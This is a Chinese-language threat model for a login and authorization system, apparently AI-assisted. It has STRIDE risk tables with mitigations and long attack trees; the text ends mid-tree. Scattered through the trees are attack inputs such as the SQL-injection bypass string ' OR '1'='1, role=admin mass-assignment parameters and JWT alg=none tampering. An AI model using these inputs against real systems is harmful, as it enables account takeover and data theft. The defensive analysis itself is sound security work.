威胁建模-用户认证与授权系统

本文针对用户认证与授权系统,使用威胁建模的方法,加深对于web漏洞的理解,完善自我的知识框架。使用AI生成尽可能系统遍历可能出现的风险。

功能总结

基础认证功能包括用户注册(邮箱/手机号注册、用户名注册、第三方登录如Google/Facebook/微信等)、登录功能(账号密码登录、手机验证码登录、扫码登录、生物识别登录)、登出功能、密码管理(找回密码、重置密码、修改密码、密码强度验证)。

会话管理涉及Token管理(JWT、Session、Cookie)、单点登录SSO、多设备登录控制、强制下线功能、会话超时处理。

权限控制需要实现角色管理RBAC、权限分配、菜单权限、按钮权限、数据权限(行级、列级)、API权限控制。

账户安全包含双因素认证2FA、验证码机制(图形验证码、滑动验证、行为验证)、登录保护(防暴力破解、IP白名单/黑名单、异地登录提醒)、设备管理。

数据流图(DFD)威胁分析

DFD没用微软的威胁分析工具,直接用的画图工具

image-20260113211733-pfn76vu

信任边界:

  • 用户设备 <-> 前端应用(公网传输)
  • 前端 <-> 认证服务(防火墙边界)
  • 认证服务 <-> 数据库(内网边界)
  • 系统 <-> 第三方OAuth(外部依赖边界)

威胁建模分析

S - Spoofing(身份欺骗)

威胁场景 风险等级 缓解措施
伪造注册信息(假邮箱/手机) 邮箱/短信验证码双重验证
设备指纹识别
IP信誉检查
Session劫持/Token伪造 严重 JWT使用强加密算法(RS256)
Token短生命周期+刷新机制
绑定设备指纹和IP
OAuth回调劫持 验证redirect_uri白名单
使用state参数防CSRF
PKCE扩展(移动端)
生物识别绕过 活体检测
多因素组合验证
异常行为监控

T - Tampering(数据篡改)

威胁场景 风险等级 缓解措施
修改Token中的权限信息 严重 JWT签名验证
服务端二次权限校验
使用加密Token而非明文JWT
篡改登录请求参数(如user_id) 所有输入参数加密传输
服务端白名单验证
请求签名校验
修改权限配置数据 严重 数据库操作审计日志
敏感操作需管理员二次确认
数据完整性校验(哈希)
MITM攻击篡改通信 强制HTTPS/TLS 1.3
证书固定(Certificate Pinning)
HSTS策略

R - Repudiation(抵赖)

威胁场景 风险等级 缓解措施
否认执行敏感操作 完整审计日志(时间、IP、设备、操作)
关键操作留存操作凭证
不可篡改的日志存储(区块链/只读库)
否认修改密码/权限 操作前发送验证码到绑定邮箱/手机
操作后通知用户
数字签名操作记录
管理员否认越权操作 多人审批机制
操作录屏
分离管理员权限(职责分离)

I - Information Disclosure(信息泄露)

威胁场景 风险等级 缓解措施
密码明文存储/传输 严重 bcrypt/Argon2加盐哈希
传输层TLS加密
密码历史验证
Token在URL中泄露 禁止Token放URL参数
使用HTTP-Only Cookie或Header
短生命周期Token
用户枚举攻击 统一错误提示("用户名或密码错误")
注册时不提示邮箱已存在
频率限制
敏感日志泄露 日志脱敏(密码、Token、身份证号)
访问控制
定期清理
数据库注入获取数据 严重 参数化查询
ORM框架
最小权限原则
会话固定攻击 登录后重新生成Session ID
验证Referer/Origin
SameSite Cookie属性

D - Denial of Service(拒绝服务)

威胁场景 风险等级 缓解措施
暴力破解攻击 登录失败5次锁定账户30分钟
IP级别频率限制(每分钟10次)
验证码升级(图形→滑动→行为)
短信/邮件轰炸 同IP/设备1分钟仅1次
同号码1天最多3次
异常检测(短时间多次请求)
恶意注册消耗资源 邀请码机制
实名认证
风控系统(设备指纹、IP信誉)
Session耗尽攻击 限制单用户Session数量
闲置Session自动过期
Redis集群扩展
2FA重放攻击 验证码单次有效
时间窗口限制(TOTP 30秒)
防重放nonce机制

E - Elevation of Privilege(权限提升)

威胁场景 风险等级 缓解措施
垂直越权(普通用户→管理员) 严重 每次请求验证权限(不仅依赖Token)
敏感操作二次验证
角色继承链限制
水平越权(访问他人数据) 数据权限过滤(WHERE user_id=当前用户)
对象级别访问控制
资源ID加密/签名
JWT权限提升 严重 服务端维护权限列表
Token中不包含敏感权限
短周期刷新权限
OAuth授权范围扩大 严格校验scope参数
用户明确授权确认
最小权限原则
SQL注入修改权限 严重 参数化查询
权限表操作额外校验
数据库账户权限隔离

综合攻击树分析

5个完整的攻击树:

  1. 账户完全接管 - 覆盖认证绕过、会话劫持、密码重置攻击
  2. 权限提升攻击 - 包含Token篡改、数据库注入、业务逻辑、OAuth漏洞
  3. 批量数据窃取 - API越权、数据库直接访问、爬虫、内部威胁
  4. 拒绝服务攻击 - 认证接口、会话管理、数据库、缓存、资源耗尽
  5. OAuth/SSO劫持 - OAuth流程、SAML、LDAP/AD、OpenID Connect

账户完全接管

【目标:完全接管目标账户】
│
├─ AND分支A:绕过身份认证
│  │
│  ├─ OR:破解密码
│  │  ├─ 暴力破解
│  │  │  ├─ 字典攻击
│  │  │  │  ├─ 常见密码Top10000
│  │  │  │  ├─ 用户信息衍生(生日+姓名)
│  │  │  │  └─ 历史泄露密码库
│  │  │  ├─ 分布式攻击
│  │  │  │  ├─ 僵尸网络(绕过IP限制)
│  │  │  │  ├─ 云服务器集群
│  │  │  │  └─ Tor网络匿名
│  │  │  └─ 时间窗口攻击
│  │  │     ├─ 利用限流重置时间
│  │  │     └─ 跨时发请求
│  │  │
│  │  ├─ 凭证窃取
│  │  │  ├─ 钓鱼攻击
│  │  │  │  ├─ 仿冒登录页面
│  │  │  │  ├─ 邮件钓鱼(相似域名)
│  │  │  │  ├─ 短信钓鱼
│  │  │  │  └─ 社交媒体假冒
│  │  │  ├─ 恶意软件
│  │  │  │  ├─ 键盘记录器
│  │  │  │  ├─ 浏览器密码窃取
│  │  │  │  ├─ 剪贴板劫持
│  │  │  │  └─ 屏幕截图木马
│  │  │  ├─ 数据泄露
│  │  │  │  ├─ 第三方平台撞库
│  │  │  │  ├─ 暗网购买凭证
│  │  │  │  └─ 公司内部泄露
│  │  │  └─ 肩理观察输入
│  │  │     ├─ 监控摄像头
│  │  │     └─ 公共场所WiFi嗅探
│  │  │
│  │  └─ 社会工程学
│  │     ├─ 冒充技术支持
│  │     ├─ 诱导重置密码
│  │     ├─ 利用客服漏洞
│  │     └─ 内部人员贿赂
│  │
│  ├─ OR:绕过验证码
│  │  ├─ 技术绕过
│  │  │  ├─ OCR识别(图形验证码)
│  │  │  ├─ 机器学习模型破解
│  │  │  ├─ 验证码复用漏洞
│  │  │  ├─ 空验证码绕过
│  │  │  └─ 大小写绕过
│  │  ├─ 人工打码平台
│  │  │  ├─ 国内打码平台
│  │  │  ├─ 国际众包服务
│  │  │  └─ 自建打码团队
│  │  └─ 业务逻辑漏洞
│  │     ├─ 验证码未校验
│  │     ├─ 客户端验证绕过
│  │     ├─ 验证码泄露(日志/错误信息)
│  │     └─ 竞态条件利用
│  │
│  └─ OR:绕过2FA/MFA
│     ├─ SIM卡劫持
│     │  ├─ 社会工程学运营商
│     │  ├─ 伪造身份证件
│     │  ├─ 内部人员协助
│     │  └─ SIM卡克隆技术
│     ├─ 中间人攻击
│     │  ├─ SS7协议漏洞(短信拦截)
│     │  ├─ 恶意基站
│     │  ├─ 伪造WiFi热点
│     │  └─ DNS劫持
│     ├─ 窃取恢复码
│     │  ├─ 云同步服务泄露
│     │  ├─ 截图泄露
│     │  ├─ 物理访问设备
│     │  └─ 社会工程学诱导
│     ├─ 时间同步攻击(TOTP)
│     │  ├─ 暴力尝试时间窗口
│     │  ├─ 服务器时间偏移利用
│     │  └─ 重放已使用验证码
│     └─ 推送通知劫持
│        ├─ 疲劳攻击(频繁推送诱导)
│        ├─ 设备克隆
│        └─ 推送服务中间人攻击
│
├─ OR分支B:会话劫持
│  │
│  ├─ Token/Cookie窃取
│  │  ├─ XSS攻击
│  │  │  ├─ 存储型XSS
│  │  │  │  ├─ 评论区注入
│  │  │  │  ├─ 个人资料字段
│  │  │  │  └─ 富文本编辑器
│  │  │  ├─ 反射型XSS
│  │  │  │  ├─ URL参数注入
│  │  │  │  ├─ 错误信息回显
│  │  │  │  └─ 搜索功能注入
│  │  │  └─ DOM型XSS
│  │  │     ├─ document.write注入
│  │  │     ├─ innerHTML操作
│  │  │     └─ eval执行
│  │  ├─ 网络嗅探
│  │  │  ├─ HTTP明文传输
│  │  │  ├─ 公共WiFi中间人
│  │  │  ├─ ARP欺骗
│  │  │  └─ 路由器劫持
│  │  ├─ 浏览器漏洞
│  │  │  ├─ 同源策略绕过
│  │  │  ├─ 扩展程序恶意读取
│  │  │  ├─ 浏览器缓存读取
│  │  │  └─ 开发者工具泄露
│  │  └─ 恶意脚本注入
│  │     ├─ CDN劫持
│  │     ├─ npm包投毒
│  │     └─ 供应链攻击
│  │
│  ├─ Session固定攻击
│  │  ├─ URL中传递Session ID
│  │  ├─ 诱导使用指定Session
│  │  ├─ Cookie注入
│  │  └─ 登录前后Session未更新
│  │
│  └─ Token重放攻击
│     ├─ 抓包工具截获
│     ├─ 日志文件泄露
│     ├─ 浏览器历史记录
│     └─ Referer头泄露
│
└─ OR分支C:密码重置流程攻击
   │
   ├─ 邮箱/手机劫持
   │  ├─ 邮箱账户破解
   │  ├─ 邮件服务器中间人
   │  ├─ 邮件转发规则篡改
   │  └─ 手机号码劫持(SIM卡)
   │
   ├─ 重置链接/验证码攻击
   │  ├─ 暴力枚举验证码
   │  │  ├─ 4位数字(10000次)
   │  │  ├─ 6位数字(100万次)
   │  │  └─ 分布式并发尝试
   │  ├─ 预测验证码
   │  │  ├─ 弱随机数算法
   │  │  ├─ 时间戳种子
   │  │  └─ 顺序生成
   │  ├─ 重置链接未过期
   │  │  ├─ 永久有效链接
   │  │  ├─ 长期有效(24小时+)
   │  │  └─ 使用后未失效
   │  └─ Token泄露
   │     ├─ Referer头泄露
   │     ├─ 邮件服务器日志
   │     └─ 浏览器历史记录
   │
   ├─ 安全问题破解
   │  ├─ 常见答案字典
   │  ├─ 社交媒体信息收集
   │  ├─ 公开信息推测
   │  └─ 暴力枚举
   │
   └─ 业务逻辑漏洞
      ├─ 验证流程可跳过
      ├─ 用户枚举漏洞
      ├─ 竞态条件利用
      └─ 批量重置攻击

权限提升攻击

【目标:从普通用户提升至管理员权限】
│
├─ AND分支A:修改Token/会话中的权限信息
│  │
│  ├─ JWT攻击
│  │  ├─ 算法混淆攻击
│  │  │  ├─ alg=none绕过
│  │  │  ├─ RS256→HS256降级
│  │  │  └─ 空签名攻击
│  │  ├─ 密钥破解
│  │  │  ├─ 弱密钥暴力破解
│  │  │  ├─ 默认密钥尝试
│  │  │  ├─ 字典攻击
│  │  │  └─ 已知密钥库尝试
│  │  ├─ 密钥泄露
│  │  │  ├─ 源代码泄露(GitHub)
│  │  │  ├─ 配置文件暴露
│  │  │  │  ├─ .env文件
│  │  │  │  ├─ config.yaml
│  │  │  │  └─ 环境变量泄露
│  │  │  ├─ 错误信息泄露
│  │  │  ├─ 内存dump获取
│  │  │  └─ 备份文件泄露
│  │  ├─ Payload篡改
│  │  │  ├─ 修改role字段
│  │  │  ├─ 修改user_id字段
│  │  │  ├─ 添加admin权限
│  │  │  └─ 修改过期时间
│  │  └─ Kid注入攻击
│  │     ├─ SQL注入读取密钥
│  │     ├─ 路径遍历读取文件
│  │     └─ 命令注入
│  │
│  ├─ Session劫持后修改
│  │  ├─ Session存储攻击
│  │  │  ├─ Redis未授权访问
│  │  │  ├─ Memcached注入
│  │  │  └─ 文件Session劫持
│  │  ├─ Session反序列化漏洞
│  │  │  ├─ PHP反序列化
│  │  │  ├─ Java反序列化
│  │  │  └─ Python Pickle注入
│  │  └─ Session固定后提权
│  │
│  └─ Cookie篡改
│     ├─ 未签名Cookie修改
│     ├─ 签名算法破解
│     └─ 重放旧版本Cookie
│
├─ OR分支B:直接修改数据库权限数据
│  │
│  ├─ SQL注入攻击
│  │  ├─ 登录框注入
│  │  │  ├─ 万能密码(' OR '1'='1)
│  │  │  ├─ Union注入
│  │  │  └─ 报错注入
│  │  ├─ 查询参数注入
│  │  │  ├─ GET参数注入
│  │  │  ├─ POST参数注入
│  │  │  └─ Cookie注入
│  │  ├─ 盲注
│  │  │  ├─ 布尔盲注
│  │  │  ├─ 时间盲注
│  │  │  └─ DNS外带
│  │  └─ 二次注入
│  │     ├─ 注册时注入
│  │     └─ 修改资料触发
│  │
│  ├─ 数据库直接访问
│  │  ├─ 弱密码
│  │  │  ├─ 默认密码(root/root)
│  │  │  ├─ 空密码
│  │  │  └─ 简单密码
│  │  ├─ 未授权访问
│  │  │  ├─ MongoDB未授权
│  │  │  ├─ Redis未授权
│  │  │  ├─ Elasticsearch暴露
│  │  │  └─ MySQL允许外网访问
│  │  ├─ 端口扫描+爆破
│  │  └─ 漏洞利用
│  │     ├─ SQL Server xp_cmdshell
│  │     ├─ PostgreSQL命令执行
│  │     └─ MySQL UDF提权
│  │
│  └─ NoSQL注入
│     ├─ MongoDB注入
│     │  ├─ $ne操作符绕过
│     │  ├─ $where代码执行
│     │  └─ 正则表达式注入
│     ├─ Redis注入
│     └─ CouchDB注入
│
├─ OR分支C:利用业务逻辑漏洞
│  │
│  ├─ 注册/创建用户时提权
│  │  ├─ 修改注册请求参数
│  │  │  ├─ 添加role=admin
│  │  │  ├─ 添加is_admin=true
│  │  │  └─ 添加permissions数组
│  │  ├─ 批量注册绕过
│  │  ├─ 特殊字符绕过过滤
│  │  └─ JSON参数污染
│  │
│  ├─ API权限校验缺失
│  │  ├─ 管理员API未鉴权
│  │  │  ├─ /api/admin/users可直接访问
│  │  │  ├─ /api/admin/roles可修改
│  │  │  └─ GraphQL introspection暴露
│  │  ├─ HTTP方法绕过
│  │  │  ├─ GET→POST绕过
│  │  │  ├─ PUT/DELETE未限制
│  │  │  └─ PATCH方法漏洞
│  │  └─ API版本漏洞
│  │     ├─ 旧版本API无鉴权
│  │     ├─ /v1/与/v2/权限不一致
│  │     └─ 未废弃的测试接口
│  │
│  ├─ 参数篡改
│  │  ├─ 修改user_id参数
│  │  ├─ 修改role_id参数
│  │  ├─ 数组参数注入
│  │  │  ├─ user_ids[]=1&user_ids[]=2
│  │  │  └─ roles[admin]=1
│  │  └─ JSON嵌套参数
│  │
│  ├─ 竞态条件攻击
│  │  ├─ 并发修改权限
│  │  ├─ TOCTOU漏洞
│  │  │  ├─ 检查权限时间窗口
│  │  │  └─ 使用权限时间窗口
│  │  └─ 事务处理漏洞
│  │
│  └─ 批量赋权接口滥用
│     ├─ 未校验目标用户
│     ├─ 可赋予超出自身权限
│     └─ 批量操作无限制
│
└─ OR分支D:利用OAuth/SSO漏洞
   │
   ├─ OAuth授权劫持
   │  ├─ Redirect_uri劫持
   │  │  ├─ 开放重定向漏洞
   │  │  ├─ 子域名劫持
   │  │  └─ 参数污染
   │  ├─ 授权码劫持
   │  │  ├─ Referer泄露
   │  │  ├─ 中间人攻击
   │  │  └─ 浏览器历史
   │  └─ Scope提升
   │     ├─ 篡改scope参数
   │     └─ 多次授权扩大权限
   │
   ├─ SAML攻击
   │  ├─ XML签名绕过
   │  ├─ XXE注入
   │  ├─ Assertion重放
   │  └─ 修改用户属性
   │
   └─ LDAP注入
      ├─ 认证绕过
      ├─ 权限查询注入
      └─ 组成员修改

批量数据窃取

【目标:批量获取用户敏感信息】
│
├─ AND分支A:通过API批量获取
│  │
│  ├─ 越权访问
│  │  ├─ 水平越权
│  │  │  ├─ 遍历user_id
│  │  │  │  ├─ 顺序ID遍历
│  │  │  │  ├─ UUID碰撞
│  │  │  │  └─ 批量并发请求
│  │  │  ├─ 修改查询参数
│  │  │  │  ├─ user_id参数篡改
│  │  │  │  ├─ account_id修改
│  │  │  │  └─ token中ID替换
│  │  │  └─ Cookie中ID修改
│  │  │
│  │  └─ 垂直越权
│  │     ├─ 访问管理员接口
│  │     │  ├─ /admin/users/export
│  │     │  ├─ /api/admin/data
│  │     │  └─ 批量导出功能
│  │     └─ 权限校验缺失
│  │        ├─ 仅前端限制
│  │        ├─ Token未校验
│  │        └─ 默认允许访问
│  │
│  ├─ API速率限制绕过
│  │  ├─ 分布式IP池
│  │  │  ├─ 云服务器集群
│  │  │  ├─ 代理池轮换
│  │  │  ├─ Tor网络
│  │  │  └─ 僵尸网络
│  │  ├─ 账户池轮换
│  │  │  ├─ 批量注册账号
│  │  │  ├─ 购买账号
│  │  │  └─ 自动切换Token
│  │  ├─ 绕过限流逻辑
│  │  │  ├─ X-Forwarded-For伪造
│  │  │  ├─ User-Agent轮换
│  │  │  ├─ 请求头伪装
│  │  │  └─ 时间窗口利用
│  │  └─ 竞态条件
│  │     └─ 并发请求突破限制
│  │
│  └─ GraphQL深度查询
│     ├─ 嵌套查询滥用
│     │  ├─ 无限深度查询
│     │  ├─ 批量关联查询
│     │  └─ 循环引用
│     ├─ Introspection信息泄露
│     │  ├─ 查询所有字段
│     │  ├─ 发现隐藏接口
│     │  └─ 权限信息暴露
│     └─ 批量查询
│        ├─ Batch请求
│        ├─ Alias别名大量查询
│        └─ Fragment复用
│
├─ OR分支B:数据库直接访问
│  │
│  ├─ SQL注入导出数据
│  │  ├─ Union查询
│  │  │  ├─ 联合查询所有用户
│  │  │  ├─ 跨表查询
│  │  │  └─ 信息schema查询
│  │  ├─ 文件写入
│  │  │  ├─ INTO OUTFILE导出
│  │  │  ├─ DUMPFILE导出
│  │  │  └─ 日志文件写入
│  │  ├─ 时间盲注批量
│  │  │  ├─ 二分法逐字符
│  │  │  ├─ ASCII码判断
│  │  │  └─ 自动化工具(SQLMap)
│  │  └─ DNS外带
│  │     ├─ LOAD_FILE外带
│  │     └─ UNC路径外带
│  │
│  ├─ NoSQL注入
│  │  ├─ MongoDB
│  │  │  ├─ $where代码执行
│  │  │  ├─ 聚合管道滥用
│  │  │  └─ 批量查询
│  │  └─ Redis
│  │     ├─ KEYS *遍历
│  │     ├─ SCAN批量读取
│  │     └─ 未授权访问
│  │
│  └─ 数据库备份窃取
│     ├─ 备份文件暴露
│     │  ├─ .sql文件公开
│     │  ├─ .bak文件下载
│     │  ├─ 备份目录遍历
│     │  └─ 云存储泄露
│     ├─ 备份服务攻击
│     │  ├─ FTP弱密码
│     │  ├─ SFTP爆破
│     │  └─ NFS未授权
│     └─ 快照窃取
│        ├─ 云盘快照公开
│        ├─ 虚拟机快照
│        └─ 容器镜像泄露
│
├─ OR分支C:爬虫/自动化工具
│  │
│  ├─ 搜索功能滥用
│  │  ├─ 用户名搜索
│  │  │  ├─ 常见用户名遍历
│  │  │  ├─ 模糊搜索返回多个
│  │  │  └─ 空搜索返回全部
│  │  ├─ 邮箱/手机搜索
│  │  │  ├─ 前缀遍历
│  │  │  ├─ 正则匹配
│  │  │  └─ 批量验证
│  │  └─ 高级搜索
│  │     ├─ 无限分页
│  │     ├─ 大量结果返回
│  │     └─ 导出功能
│  │
│  ├─ 自动化浏览器
│  │  ├─ Selenium爬取
│  │  ├─ Puppeteer控制
│  │  ├─ 模拟用户行为
│  │  └─ 绕过JS加密
│  │
│  └─ API逆向
│     ├─ 抓包分析
│     ├─ JS反混淆
│     ├─ 签名算法破解
│     └─ 加密参数还原
│
└─ OR分支D:内部人员/供应链
   │
   ├─ 内部人员泄露
   │  ├─ 数据库权限滥用
   │  │  ├─ DBA导出全表
   │  │  ├─ 开发人员测试
   │  │  └─ 运维人员备份
   │  ├─ 管理后台导出
   │  │  ├─ 批量导出功能
   │  │  ├─ 报表生成
   │  │  └─ 审计日志泄露
   │  └─ 社会工程学
   │     ├─ 贿赂内部人员
   │     ├─ 冒充高管
   │     └─ 利用离职员工
   │
   ├─ 供应链攻击
   │  ├─ 第三方服务泄露
   │  │  ├─ 云服务商漏洞
   │  │  ├─ SaaS工具泄露
   │  │  └─ 支付接口数据
   │  ├─ 开发工具投毒
   │  │  ├─ npm包后门
   │  │  ├─ 依赖库漏洞
   │  │  └─ IDE插件恶意
   │  └─ CI/CD渗透
   │     ├─ Jenkins未授权
   │     ├─ GitLab泄露
   │     └─ Docker镜像后门
   │
   └─ 物理访问
      ├─ 服务器机房入侵
      ├─ 员工电脑植入
      ├─ 网络设备劫持
      └─ 垃圾回收信息

拒绝服务攻击

【目标:使认证系统不可用】
│
├─ AND分支A:认证接口攻击
│  │
│  ├─ 登录接口DDoS
│  │  ├─ 应用层攻击
│  │  │  ├─ HTTP Flood
│  │  │  │  ├─ GET请求洪水
│  │  │  │  ├─ POST请求洪水
│  │  │  │  ├─ 慢速HTTP攻击(Slowloris)
│  │  │  │  └─ Range Header攻击
│  │  │  ├─ 大量失败登录
│  │  │  │  ├─ 随机用户名密码
│  │  │  │  ├─ 触发账户锁定机制
│  │  │  │  ├─ 数据库查询压力
│  │  │  │  └─ 密码哈希计算耗尽CPU
│  │  │  ├─ 验证码疲劳
│  │  │  │  ├─ 频繁请求验证码生成
│  │  │  │  ├─ 短信接口耗尽配额
│  │  │  │  ├─ 邮件队列阻塞
│  │  │  │  └─ 验证码存储空间耗尽
│  │  │  └─ 复杂查询攻击
│  │  │     ├─ 正则表达式DoS(ReDoS)
│  │  │     ├─ 深度嵌套JSON解析
│  │  │     └─ XML炸弹(Billion Laughs)
│  │  │
│  │  ├─ 网络层攻击
│  │  │  ├─ SYN Flood
│  │  │  │  ├─ 半连接队列填满
│  │  │  │  └─ 伪造源IP
│  │  │  ├─ UDP Flood
│  │  │  │  ├─ DNS查询洪水
│  │  │  │  └─ NTP放大攻击
│  │  │  ├─ ICMP Flood
│  │  │  │  └─ Ping洪水
│  │  │  └─ 反射放大攻击
│  │  │     ├─ DNS放大(50-100倍)
│  │  │     ├─ NTP放大(556倍)
│  │  │     ├─ SSDP放大(30倍)
│  │  │     └─ Memcached放大(51000倍)
│  │  │
│  │  └─ 协议层攻击
│  │     ├─ SSL/TLS握手攻击
│  │     │  ├─ 大量Client Hello
│  │     │  ├─ SSL重协商攻击
│  │     │  └─ 证书验证压力
│  │     ├─ HTTP/2攻击
│  │     │  ├─ RST Stream Flood
│  │     │  ├─ SETTINGS Frame攻击
│  │     │  ├─ Priority树复杂化
│  │     │  └─ Stream乘法攻击
│  │     └─ WebSocket攻击
│  │        ├─ 连接耗尽
│  │        ├─ 消息洪水
│  │        └─ Ping/Pong滥用
│  │
│  ├─ 注册接口攻击
│  │  ├─ 批量恶意注册
│  │  │  ├─ 资源消耗
│  │  │  │  ├─ 消耗用户ID池
│  │  │  │  ├─ 填满数据库表
│  │  │  │  ├─ 邮箱/手机号占用
│  │  │  │  └─ 存储空间耗尽
│  │  │  ├─ 自动化工具
│  │  │  │  ├─ 验证码识别
│  │  │  │  ├─ 临时邮箱服务
│  │  │  │  ├─ 接码平台
│  │  │  │  └─ 脚本批量注册
│  │  │  └─ 分布式注册
│  │  │     ├─ 多IP池轮换
│  │  │     ├─ 设备指纹伪造
│  │  │     └─ 代理服务器集群
│  │  │
│  │  └─ 验证码轰炸
│  │     ├─ 短信轰炸
│  │     │  ├─ 费用攻击(耗尽短信配额)
│  │     │  ├─ 运营商封禁(高频发送)
│  │     │  ├─ 用户骚扰(恶意发送)
│  │     │  └─ 号码池轮换
│  │     ├─ 邮件轰炸
│  │     │  ├─ SMTP服务器压力
│  │     │  ├─ 邮件队列阻塞
│  │     │  ├─ IP信誉下降(进垃圾箱)
│  │     │  └─ 邮件服务商封禁
│  │     └─ 语音验证码攻击
│  │        ├─ 电话费用消耗
│  │        └─ 语音网关压力
│  │
│  ├─ 密码重置接口攻击
│  │  ├─ 重置链接生成压力
│  │  │  ├─ 批量请求重置
│  │  │  ├─ 邮件/短信资源耗尽
│  │  │  ├─ Token生成计算压力
│  │  │  └─ 数据库写入压力
│  │  ├─ 验证码暴力尝试
│  │  │  ├─ 分布式枚举
│  │  │  ├─ 4位验证码(10000次)
│  │  │  ├─ 6位验证码(100万次)
│  │  │  └─ 并发请求绕过限流
│  │  └─ 用户骚扰
│  │     ├─ 频繁触发重置流程
│  │     ├─ 用户收到大量邮件/短信
│  │     └─ 账户锁定(误触发保护)
│  │
│  └─ 2FA/MFA接口攻击
│     ├─ TOTP验证压力
│     │  ├─ 时间窗口暴力尝试
│     │  ├─ 6位数字(100万次)
│     │  └─ 并发验证请求
│     ├─ 推送通知疲劳
│     │  ├─ 频繁触发推送
│     │  ├─ 推送服务压力
│     │  ├─ 用户疲劳点击
│     │  └─ 推送配额耗尽
│     └─ 备用验证码耗尽
│        ├─ 批量尝试恢复码
│        └─ 触发重新生成
│
├─ OR分支B:会话管理攻击
│  │
│  ├─ Session存储攻击
│  │  ├─ Session洪水
│  │  │  ├─ 大量创建Session
│  │  │  │  ├─ 未登录状态创建
│  │  │  │  ├─ 快速注册创建
│  │  │  │  └─ 多设备登录
│  │  │  ├─ Session存储耗尽
│  │  │  │  ├─ Redis内存占满
│  │  │  │  ├─ Memcached容量满
│  │  │  │  └─ 数据库表空间满
│  │  │  └─ 垃圾Session累积
│  │  │     ├─ 过期不清理
│  │  │     └─ 清理机制失效
│  │  │
│  │  ├─ Session查询压力
│  │  │  ├─ 频繁Session验证
│  │  │  ├─ 大量并发查询
│  │  │  ├─ 慢查询攻击
│  │  │  └─ 索引失效
│  │  │
│  │  └─ Session序列化攻击
│  │     ├─ 大对象Session
│  │     ├─ 序列化CPU压力
│  │     └─ 反序列化漏洞DoS
│  │
│  ├─ Token刷新攻击
│  │  ├─ 频繁刷新Token
│  │  │  ├─ 刷新接口压力
│  │  │  ├─ 黑名单存储耗尽
│  │  │  ├─ 旧Token清理压力
│  │  │  └─ 签名验证CPU消耗
│  │  ├─ 并发刷新竞态
│  │  │  ├─ 同时刷新同一Token
│  │  │  ├─ 事务锁竞争
│  │  │  └─ 死锁风险
│  │  └─ 刷新循环攻击
│  │     ├─ 自动化持续刷新
│  │     └─ Token池膨胀
│  │
│  └─ 强制下线攻击
│     ├─ 批量强制下线
│     │  ├─ 管理接口滥用
│     │  ├─ 所有用户下线
│     │  └─ 服务不可用
│     └─ 下线通知风暴
│        ├─ WebSocket推送压力
│        ├─ 消息队列阻塞
│        └─ 实时通知系统崩溃
│
├─ OR分支C:数据库攻击
│  │
│  ├─ 查询压力攻击
│  │  ├─ 慢查询攻击
│  │  │  ├─ 无索引字段查询
│  │  │  │  ├─ LIKE '%keyword%'
│  │  │  │  ├─ OR条件过多
│  │  │  │  └─ 函数计算字段
│  │  │  ├─ 全表扫描
│  │  │  │  ├─ COUNT(*)无条件
│  │  │  │  ├─ 大表JOIN
│  │  │  │  └─ 子查询嵌套
│  │  │  ├─ 复杂计算
│  │  │  │  ├─ GROUP BY多字段
│  │  │  │  ├─ ORDER BY复杂排序
│  │  │  │  └─ 聚合函数滥用
│  │  │  └─ 正则表达式查询
│  │  │     ├─ REGEXP复杂模式
│  │  │     └─ 回溯爆炸
│  │  │
│  │  ├─ 并发查询攻击
│  │  │  ├─ 连接池耗尽
│  │  │  │  ├─ 最大连接数达到
│  │  │  │  ├─ 长连接占用
│  │  │  │  └─ 连接泄露
│  │  │  ├─ 锁竞争
│  │  │  │  ├─ 表锁争用
│  │  │  │  ├─ 行锁冲突
│  │  │  │  └─ 死锁
│  │  │  └─ CPU/IO耗尽
│  │  │     ├─ CPU 100%
│  │  │     ├─ 磁盘IO满载
│  │  │     └─ 内存swap
│  │  │
│  │  └─ 存储过程攻击
│  │     ├─ 复杂存储过程
│  │     ├─ 递归调用
│  │     └─ 循环嵌套
│  │
│  ├─ 写入压力攻击
│  │  ├─ 批量写入
│  │  │  ├─ 日志表快速增长
│  │  │  │  ├─ 审计日志
│  │  │  │  ├─ 操作日志
│  │  │  │  └─ 错误日志
│  │  │  ├─ 索引维护压力
│  │  │  │  ├─ B-Tree重建
│  │  │  │  ├─ 索引碎片
│  │  │  │  └─ 写入放大
│  │  │  └─ 事务日志膨胀
│  │  │     ├─ Binlog增长
│  │  │     ├─ Redo Log压力
│  │  │     └─ 磁盘空间耗尽
│  │  │
│  │  ├─ 大对象写入
│  │  │  ├─ BLOB/TEXT字段
│  │  │  ├─ JSON大对象
│  │  │  └─ 序列化大数据
│  │  │
│  │  └─ 频繁更新
│  │     ├─ 热点行更新
│  │     ├─ 间隙锁冲突
│  │     └─ MVCC版本链过长
│  │
│  └─ 存储空间攻击
│     ├─ 数据膨胀
│     │  ├─ 用户表快速增长
│     │  ├─ 日志表无限增长
│     │  ├─ 临时表不清理
│     │  └─ 碎片文件累积
│     ├─ 索引膨胀
│     │  ├─ 冗余索引
│     │  ├─ 未使用索引
│     │  └─ 索引碎片
│     └─ 备份失败
│        ├─ 备份空间不足
│        ├─ 备份时间过长
│        └─ 恢复能力丧失
│
├─ OR分支D:缓存系统攻击
│  │
│  ├─ 缓存穿透
│  │  ├─ 查询不存在数据
│  │  │  ├─ 随机用户ID
│  │  │  ├─ 不存在的Key
│  │  │  ├─ 恶意参数
│  │  │  └─ 绕过缓存打到数据库
│  │  ├─ 大量查询压力
│  │  │  ├─ 数据库负载飙升
│  │  │  ├─ 慢查询堆积
│  │  │  └─ 连接池耗尽
│  │  └─ 缓存击穿
│  │     ├─ 热点Key过期
│  │     ├─ 大量并发查询
│  │     └─ 数据库瞬时压力
│  │
│  ├─ 缓存雪崩
│  │  ├─ 批量Key同时过期
│  │  │  ├─ 相同TTL设置
│  │  │  ├─ 缓存预热后统一失效
│  │  │  └─ 定时任务触发
│  │  ├─ 缓存服务宕机
│  │  │  ├─ Redis崩溃
│  │  │  ├─ 内存OOM
│  │  │  ├─ 主从切换
│  │  │  └─ 网络分区
│  │  └─ 数据库过载
│  │     ├─ 连接数爆满
│  │     ├─ CPU/内存耗尽
│  │     └─ 服务不可用
│  │
│  ├─ 缓存污染
│  │  ├─ 大量垃圾数据
│  │  │  ├─ 随机Key写入
│  │  │  ├─ 大Value对象
│  │  │  ├─ 内存耗尽
│  │  │  └─ 有效数据被挤出
│  │  ├─ 热点数据覆盖
│  │  │  ├─ LRU淘汰策略
│  │  │  ├─ 常用Key被删除
│  │  │  └─ 缓存命中率下降
│  │  └─ 恶意数据注入
│  │     ├─ 错误数据缓存
│  │     ├─ 用户看到错误信息
│  │     └─ 业务逻辑错误
│  │
│  └─ 缓存命令攻击
│     ├─ KEYS命令
